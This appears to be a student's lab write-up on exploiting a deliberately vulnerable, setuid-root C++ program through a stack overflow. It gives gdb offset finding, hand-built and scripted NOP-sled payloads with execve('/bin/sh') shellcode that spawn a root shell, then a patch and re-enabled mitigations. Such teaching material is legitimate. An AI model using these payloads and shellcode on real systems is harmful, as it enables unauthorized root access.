

## A7- Stack Overflow Exploitation using Bash and Mitigation

### Compile as x86 binary using Makefile

We can use the following Makefile to compile the program as an x86 binary. There are countermeasure flags included as well as several commands under **make build** that change permissions.

```
ubuntu@ubuntu-utm:~/Downloads$ cat Makefile
COMPILER = g++

COMPILER_FLAGS = -g -Wall -m32 -fno-stack-protector -z execstack

PROGRAM_NAME = StackOverflowHW.exe

CPP_FILES = StackOverflowHW.cpp

build:
    $(COMPILER) $(COMPILER_FLAGS) $(CPP_FILES) -o $(PROGRAM_NAME)
    sudo chown root:root $(PROGRAM_NAME)
    sudo chmod +s $(PROGRAM_NAME)

clean:
    rm -f $(PROGRAM_NAME) *.o
ubuntu@ubuntu-utm:~/Downloads$
```

### Disable all countermeasures

Some of the countermeasures can be disabled in the Makefile (including pie, execstack, and fno-stack-protector) and we can see this done above. Others must be disabled on the command line.

We can disable ASLR by running the command shown in the screenshot below.

```
ubuntu@ubuntu-utm:~$ cat /proc/sys/kernel/randomize_va_space
2
ubuntu@ubuntu-utm:~$ sudo sysctl -w kernel.randomize_va_space=0
[sudo] password for ubuntu:
Sorry, try again.
[sudo] password for ubuntu:
kernel.randomize_va_space = 0
ubuntu@ubuntu-utm:~$ cat /proc/sys/kernel/randomize_va_space
0
ubuntu@ubuntu-utm:~$
```

We can verify that ASLR is no longer randomizing the buffer address by running the **ldd** command on the program's executable as seen in the screenshot below.



```

[-----registers-----]
EAX: 0x804a000 --> 0xf7fb466c --> 0xf7f59000 (<_ZNSoD1Ev>:      push    ebx)
EBX: 0x41372541 ('A%7A')
ECX: 0xf7ed3898 --> 0x0
EDX: 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x25414d25 ('%MA%')
ESP: 0xffffd0c0 ("%NNA%jA%9A%0A%kA%PA%LA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zA%
s%AssAsBAS$AsnAsCAs - As(AsDAs;As)AsEAsaAs0AsFasbAs1AsGAscAs2AsHAsdAs3AsIaseAs4AsJasfAs5AsKAsgAs6A")
EIP: 0x38254169 ('!A%8')
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-----code-----]
Invalid SPc address: 0x38254169
[-----stack-----]
0000| 0xffffd0c0 ("%NNA%jA%9A%0A%kA%PA%LA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zA%
As%AssAsBAS$AsnAsCAs - As(AsDAs;As)AsEAsaAs0AsFasbAs1AsGAscAs2AsHAsdAs3AsIaseAs4AsJasfAs5AsKAsgAs6A")
0004| 0xffffd0c4 ("%jA%9A%0A%kA%PA%LA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zA%
ssAsBAS$AsnAsCAs - As(AsDAs;As)AsEAsaAs0AsFasbAs1AsGAscAs2AsHAsdAs3AsIaseAs4AsJasfAs5AsKAsgAs6A")
0008| 0xffffd0c8 ("%9A%0A%kA%PA%LA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zA%
BAS$AsnAsCAs - As(AsDAs;As)AsEAsaAs0AsFasbAs1AsGAscAs2AsHAsdAs3AsIaseAs4AsJasfAs5AsKAsgAs6A")
0012| 0xffffd0cc ("%kA%PA%LA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zA%
AsnAsCAs - As(AsDAs;As)AsEAsaAs0AsFasbAs1AsGAscAs2AsHAsdAs3AsIaseAs4AsJasfAs5AsKAsgAs6A")
0016| 0xffffd0d0 ("%PA%LA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zA%
sCAs - As(AsDAs;As)AsEAsaAs0AsFasbAs1AsGAscAs2AsHAsdAs3AsIaseAs4AsJasfAs5AsKAsgAs6A")
0020| 0xffffd0d4 ("%LA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zA%
As(AsDAs;As)AsEAsaAs0AsFasbAs1AsGAscAs2AsHAsdAs3AsIaseAs4AsJasfAs5AsKAsgAs6A")
0024| 0xffffd0d8 ("%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zA%
AsBAS$AsnAsCAs - As(
AsDAs;As)AsEAsaAs0AsFasbAs1AsGAscAs2AsHAsdAs3AsIaseAs4AsJasfAs5AsKAsgAs6A")
0028| 0xffffd0dc ("%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zA%
s;As)AsEAsaAs0AsFasbAs1AsGAscAs2AsHAsdAs3AsIaseAs4AsJasfAs5AsKAsgAs6A")
[-----]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x38254169 in ?? ()
gdb-peda$

```

Now we can run the **patts** command in order to determine the offset. The results of running this command can be seen in the screenshot below.

```

[-----]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x38254169 in ?? ()
gdb-peda$ patts
Registers contain pattern buffer:
EIP+0 found at offset: 312
EBX+0 found at offset: 304
EBP+0 found at offset: 308
Registers point to pattern buffer:
[ESP] --> offset 316 - size ~184
Pattern buffer found at:
0xf7d240a1 : offset 33208 - size 4 (/lib/i386-linux-gnu/libm-2.19.so)
0xf7fd4000 : offset 0 - size 500 (mapped)
0xf7fd500e : offset 0 - size 500 (mapped)
0xffffcf84 : offset 0 - size 500 ($sp + -0x13c [-79 dwords])
References to pattern buffer found at:
0xf7ed2c24 : 0xf7fd4000 (/lib/i386-linux-gnu/libc-2.19.so)
0xf7ed2c28 : 0xf7fd4000 (/lib/i386-linux-gnu/libc-2.19.so)
0xf7ed2c2c : 0xf7fd4000 (/lib/i386-linux-gnu/libc-2.19.so)
0xf7ed2c30 : 0xf7fd4000 (/lib/i386-linux-gnu/libc-2.19.so)
0xf7ed2c34 : 0xf7fd4000 (/lib/i386-linux-gnu/libc-2.19.so)
0xf7ed2c38 : 0xf7fd4000 (/lib/i386-linux-gnu/libc-2.19.so)
0xf7ed2c3c : 0xf7fd4000 (/lib/i386-linux-gnu/libc-2.19.so)
0xffffca90 : 0xffffcf84 ($sp + -0x630 [-396 dwords])
gdb-peda$

```

From the information above we can determine that the offset is 312 bytes (therefore the payload needs to be 316 bytes long).

The next step is to determine how to structure the payload. From the previous stack overflow assignment, we determined that the NOP sled can be 272 bytes, the shellcode can be 24 bytes long since that is the pre-generated shellcode we already have, and therefore the return address can be repeated 5 times to generate 20 total bytes. We need to check out math to ensure that  $272 + 24 + 20 =$

316 which it does and that  $272 + 24$  is divisible by 4 which it is. Now that we know that our math checks out, we are ready to proceed.

Next, we need to actually create the payload. The first step will be to generate the 272 bytes of NOP sled and verify that the length of the payload file is only 272 bytes currently. This can be done using the steps shown in the screenshot below.

```
ubuntu@ubuntu-utm:~/Downloads$ python3 -c 'import sys; sys.stdout.buffer.write(b"\x90"*272)' > newPayload.bin
ubuntu@ubuntu-utm:~/Downloads$ wc -c newPayload.bin
272 newPayload.bin
ubuntu@ubuntu-utm:~/Downloads$
```

Next, we need to add the previously generated shellcode (and ensure that it is 24 bytes) to the payload and verify that the length of the payload is now  $272+24=296$  bytes. This can be done using the steps shown in the screenshot below.

```
ubuntu@ubuntu-utm:~/Downloads$ ls
>
fixed.cpp      newPayload.bin      peda-session-StackOverflowHW1.exe.txt  StackOverflowHW.cpp
pattern1.txt   peda-session-StackOverflowHW.exe.txt  StackOverflowHW.exe
Makefile       pattern.txt          shellcode.bin                          stdio_payload.bin
myPayload.bin  payload.bin          StackOverflowHW1.cpp
newPattern.txt peda-session-a.out.txt StackOverflowHW1.exe
ubuntu@ubuntu-utm:~/Downloads$ wc -c shellcode.bin
24 shellcode.bin
ubuntu@ubuntu-utm:~/Downloads$ cat shellcode.bin >> newPayload.bin
ubuntu@ubuntu-utm:~/Downloads$ wc -c newPayload.bin
296 newPayload.bin
ubuntu@ubuntu-utm:~/Downloads$
```

Finally, we need to add the repeated buffer address to the payload. This can be done using the steps shown in the screenshot below. We know that the buffer address in little endian is `a4 cf ff ff`.

```
ubuntu@ubuntu-utm:~/Downloads$ ./StackOverflowHW.exe
buffer is at 0xffffcfa4
Give me some text: asdf
Acknowledged: asdf with length 4
Good bye!
ubuntu@ubuntu-utm:~/Downloads$ python3 -c 'import sys; sys.stdout.buffer.write(b"\xa4\xcf\xff\xff"*5)' >> newPayload.bin
ubuntu@ubuntu-utm:~/Downloads$ wc -c newPayload.bin
316 newPayload.bin
ubuntu@ubuntu-utm:~/Downloads$
```

Now that we have created the payload and it is the correct length (316 bytes) we can hexdump the file to ensure that it looks correct before we send it to the program. The results of the hexdump can be seen in the screenshot below.

```
ubuntu@ubuntu-utm:~/Downloads$ hexdump -C newPayload.bin
00000000  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |.....|
*
00000110  31 c0 50 68 2f 2f 73 68  68 2f 62 69 6e 89 e3 31  |1.Ph//shh/bin..1|
00000120  c9 89 ca 6a 0b 58 cd 80  a4 cf ff ff a4 cf ff ff  |...j.X.....|
00000130  a4 cf ff ff a4 cf ff ff  a4 cf ff ff                |.....|
0000013c
ubuntu@ubuntu-utm:~/Downloads$
```

The final step is to send the payload to the program. The results of sending the payload can be seen in the screenshot below.



```

ubuntu@ubuntu-utm:~/Downloads$ cat newPayload.bin - | ./StackOverflowHW.exe
buffer is at 0xffffcfa4
Give me some text:
Acknowledged: .....
.....
.....1Ph//shh/bin1j}X.....
..... with length 316
whoami
root
ls
>
Makefile          StackOverflowHW1.exe  pattern.txt          peda-session-a.out.txt
StackOverflowHW.cpp fixed.cpp              pattern1.txt         shellcode.bin
StackOverflowHW.exe myPayload.bin          payload.bin          stdio_payload.bin
StackOverflowHW1.cpp newPattern.txt         peda-session-StackOverflowHW.exe.txt
date              peda-session-StackOverflowHW1.exe.txt
Thu Apr 13 10:34:00 PDT 2023
exit
ubuntu@ubuntu-utm:~/Downloads$

```

## Exploit using Bash Script

The next thing that we can do is modify a bash script to carry out this exploit for us. The script that I used for reference was */demos/so\_arg\_exploit.sh*. This script was meant to automate buffer overflow attacks when the input is passed on the command line, which of course is not the case for *stackOverflowHW.cpp*. Therefore, some adjustments needed to be made to the script. The next few screenshots outline the updates that I made to the script (which is also included on GitHub).

The first update that was made was I changed the name of the executable to be correct. (I had made a copy of the *stackOverflowHW.cpp* program called *autoStackOverflowHW.cpp* for the bash script section below and the Makefile was updated accordingly). The name of the shellcode.bin file was also updated to keep everything identifiable and separate. I also updated the offset from the value that was calculated earlier (316).

```

# write the user-level shellcode to a file
shellcode_file_name="autoShellcode.bin"
echo -ne "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31" > $shellcode_file_name
echo -ne "\xc9\x89\xca\x6a\x0b\x58\xcd\x80" >> $shellcode_file_name

# vulnerable program to exploit
target_program="autoStackOverflowHW.exe"

offset=316 # EIP+0+4 or look for [ESP] --> offset ... in PEDA pattern search

```

The next update that I made was to update the buffer address and the sizes of the shellcode and how many times the buffer address should be repeated in the payload. The payload that this bash script generated was identical to the payload that was manually created above.

```

buffer_address="\xb4\xcf\xff\xff"
printf "using buffer_address: %s\n" $buffer_address

wc -c autoShellcode.bin
shellcode_size=24 # find and update the shellcode_size if necessary
repeat_return_address=5
###return_address_size=20
return_address_size=$((4*$repeat_return_address)) # repeat return address 5 times
###NOP_sled_size=272
NOP_sled_size=$((offset-$shellcode_size-$return_address_size))
printf "NOP Sled size: %d half-way: %d\n" $NOP_sled_size $((NOP_sled_size/2))
# now we've all the sizes we need for each section of the payload, write the complete payload to a file

# create an emptyfile, truncate if exists
payload_file_name="autoPayload.bin"
echo -n > $payload_file_name

```

The final change that I made was changing how the payload was being sent to the target program since the original script was designed for command line argument passing and I need it to be piped into std io.

```
echo "payload ready and has size of " $(wc -c $payload_file_name)
hexdump -C $payload_file_name
echo "sending the payload..."
#./$target_program $(cat $payload_file_name)
cat $payload_file_name - | ./$target_program
```

Before we are ready to run the script, we have to make sure that the permissions are set so that it can be executed. This was done using the commands shown in the screenshot below.

```
ubuntu@ubuntu-utm:~/Downloads$ ls -la autoExploit.sh
-rw-rw-r-- 1 ubuntu ubuntu 2028 Apr 13 10:39 autoExploit.sh
ubuntu@ubuntu-utm:~/Downloads$ sudo chmod +x autoExploit.sh
ubuntu@ubuntu-utm:~/Downloads$ ls -la autoExploit.sh
-rwxrwxr-x 1 ubuntu ubuntu 2028 Apr 13 10:39 autoExploit.sh
ubuntu@ubuntu-utm:~/Downloads$
```

Now we are ready to run the script and automate the exploitation of the code. The results of running the script can be seen in the screenshot below. It is important to note how the buffer is at 0xffffcfb4 whereas before when we were doing manual exploits the buffer was at 0xffffcfa4. I am not exactly sure why this is, but the offset remained the same and the buffer didn't shift from execution to execution. Therefore, I made sure that the bash script used the b4 address rather than the a4 address and it worked as expected. Below is the bash script being run to overflow the buffer and spawn a root shell.

```
ubuntu@ubuntu-utm:~/Downloads$ bash autoExploit.sh
using buffer_address: \xb4\xcf\xff\xff
24 autoShellcode.bin
NOP sled size: 272 half-way: 136
payload ready and has size of 316 autoPayload.bin
00000000  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |.....|
*
00000110  31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 31 |1.Ph//shh/bin..1|
00000120  c9 89 ca 6a 0b 58 cd 80 b4 cf ff ff b4 cf ff ff |...j.X.....|
00000130  b4 cf ff ff b4 cf ff ff b4 cf ff ff |.....|
0000013c
sending the payload...
buffer is at 0xffffcfb4
Give me some text:
Acknowledged: *****
*****
*****1*Ph//shh/bin*1j*j
*****
***** with length 316
whoami
root
ls
>
Makefile          autoExploit.sh      myPayload.bin      peda-session-StackOverflowHW.exe.txt
StackOverflowHW.cpp autoPayload.bin      newPattern.txt     peda-session-StackOverflowHW1.exe.txt
StackOverflowHW1.cpp autoShellcode.bin   newPayload.bin     peda-session-a.out.txt
StackOverflowHW1.exe autoStackOverflowHW.cpp pattern.txt         shellcode.bin
StackOverflowHW1.exe fixed.cpp            pattern1.txt        stdio_payload.bin
date
Thu Apr 13 12:20:07 PDT 2023
id
uid=1000(ubuntu) gid=1000(ubuntu) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dtp),46(plugindev),108(lpadmin),124(sambashare),1000(ubuntu)
exit
ubuntu@ubuntu-utm:~/Downloads$
```

Brute Force Exploit with Bash Script \*\*\*EXTRA CREDIT\*\*\*

Turn ASLR to 2 and launch the script again to brute-force a shell.

## Patch the Vulnerability

We can patch the vulnerability the same way we did previously. If we change the function call from ***mgets()*** to ***cin.getline()*** then we can restrict the size in bytes of the user's input therefore eliminating the ability for the user to overflow the buffer and send a payload that overwrites things it isn't authorized to. A screenshot of the updated program is below.

```
47 void bad()
48 {
49     char buffer[BUFSIZE];
50     printf("buffer is at %p\n", buffer);
51     cout << "Give me some text: ";
52     fflush(stdout); // stream is open after this call
53
54     cin.getline(buffer, 300); // I can call getline instead of mgets to cut off the input stream when 300
55     // mgets(buffer);
56     cout << "Acknowledged: " << buffer << " with length " << strlen(buffer) << endl;
57     //gets(buffer); // deprecated
58 }
59
60 int main(int argc, char *argv[])
61 {
62     bad();
63     cout << "Good bye!\n";
64     return 0;
65 }
```

## Verify that Vulnerabilities are Patched

We can verify that this update to the code patched the vulnerability by attempting to send the payload again. The screenshot below shows the results of this attempt. We can see that the payload length is truncated to 299 so it doesn't have the opportunity to overwrite anything, so it just stores the payload in the buffer.

```
ubuntu@ubuntu-utm:~/Downloads$ cat newPayload.bin - | ./a.out
buffer is at 0xffffcfe0
Give me some text: Acknowledged: .....
.....1Ph//ssh/bin
1j
X with length 299
Good bye!
ubuntu@ubuntu-utm:~/Downloads$
```

We can run Valgrind as well to determine if the vulnerability is patched. The results of the Valgrind scan are shown in the screenshot below.

```
ubuntu@ubuntu-utm:~/Downloads$ g++ -m32 -o0 StackOverflowHW1.cpp -o StackOverflowHW1.exe
ubuntu@ubuntu-utm:~/Downloads$ python -c 'print("A"*400)' | valgrind --leak-check=full ./StackOverflowHW1.exe
==3343== Memcheck, a memory error detector
==3343== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==3343== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info
==3343== Command: ./StackOverflowHW1.exe
==3343==
buffer is at 0xfefccf00
Give me some text: Acknowledged: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA with length 299
Good bye!
==3343==
==3343== HEAP SUMMARY:
==3343==      in use at exit: 0 bytes in 0 blocks
==3343==    total heap usage: 0 allocs, 0 frees, 0 bytes allocated
==3343==
==3343== All heap blocks were freed -- no leaks are possible
==3343==
==3343== For counts of detected and suppressed errors, rerun with: -v
==3343== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)
ubuntu@ubuntu-utm:~/Downloads$
```

## Verify that Script no Longer Works

If we turn on all the countermeasures, as seen in the screenshot below, we can attempt to send the exploit code again and see what happens. The screenshot below shows turning the countermeasures back on.

```
ubuntu@ubuntu-utm:~/Downloads$ cat /proc/sys/kernel/randomize_va_space
0
ubuntu@ubuntu-utm:~/Downloads$ sudo sysctl -w kernel.randomize_va_space=2
[sudo] password for ubuntu:
kernel.randomize_va_space = 2
ubuntu@ubuntu-utm:~/Downloads$ cat /proc/sys/kernel/randomize_va_space
2
ubuntu@ubuntu-utm:~/Downloads$
```

There were other stack protections that I turned on when I compiled the program which can be seen in the screenshot below.

In the screenshot below we see the results of sending the payload with the countermeasures enabled to the original (not patched) program. We can see that the address of the buffer has shifted so that it is no longer in the location specified in the payload. Therefore, the payload isn't going to execute correctly. We can see that the entire payload was sent to the program, but it didn't spawn a shell and instead just aborted. There was also an error that reported that the cat command was unavailable, but it didn't seem to affect the ability of the contents of the file to be fed to the program.

```
ubuntu@ubuntu-utm:~/Downloads$ g++ -m32 -fstack-protector-all StackOverflowHW.cpp  
ubuntu@ubuntu-utm:~/Downloads$ cat newPayload.bin | ./a.out  
buffer is at 0xffffc3cc0  
Give me some text:  
Acknowledged: .....  
.....  
.....1oPh//shh/bin1j+j}x.....  
***** with length 316  
cat: -: Resource temporarily unavailable  
*** stack smashing detected ***: ./a.out terminated  
Aborted (core dumped)  
ubuntu@ubuntu-utm:~/Downloads$
```

We can also run the script again, but this time recompile the target program to have the stack protections enabled and observe the results. We can see that with the stack protections enabled our bash script is ineffective in overflowing the buffer and we get a similar result to what we see above.



```

ubuntu@ubuntu-utm:~/Downloads$ g++ -m32 -fstack-protector-all autoStackOverflowHW.cpp
ubuntu@ubuntu-utm:~/Downloads$ bash autoExploit.sh
using buffer_address: \xb4\xcf\xff\xff
24 autoShellcode.bin
NOP Sled size: 272 half-way: 136
payload ready and has size of 316 autoPayload.bin
00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |.....|
*
00000110 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 31 |1.Ph//shh/bin..1|
00000120 c9 89 ca 6a 0b 58 cd 80 b4 cf ff ff b4 cf ff ff |...j.X.....|
00000130 b4 cf ff ff b4 cf ff ff b4 cf ff ff |.....|
0000013c
sending the payload...
buffer is at 0xffbb6724
Give me some text:
Acknowledged: *****]*****
*****
*****1Ph//shh/bin1j*****
***** with length 316
whoami
autoExploit.sh: line 65: 3471 Broken pipe          cat $payload_file_name -
      3472 Segmentation fault (core dumped) | ./$target_program
ubuntu@ubuntu-utm:~/Downloads$

```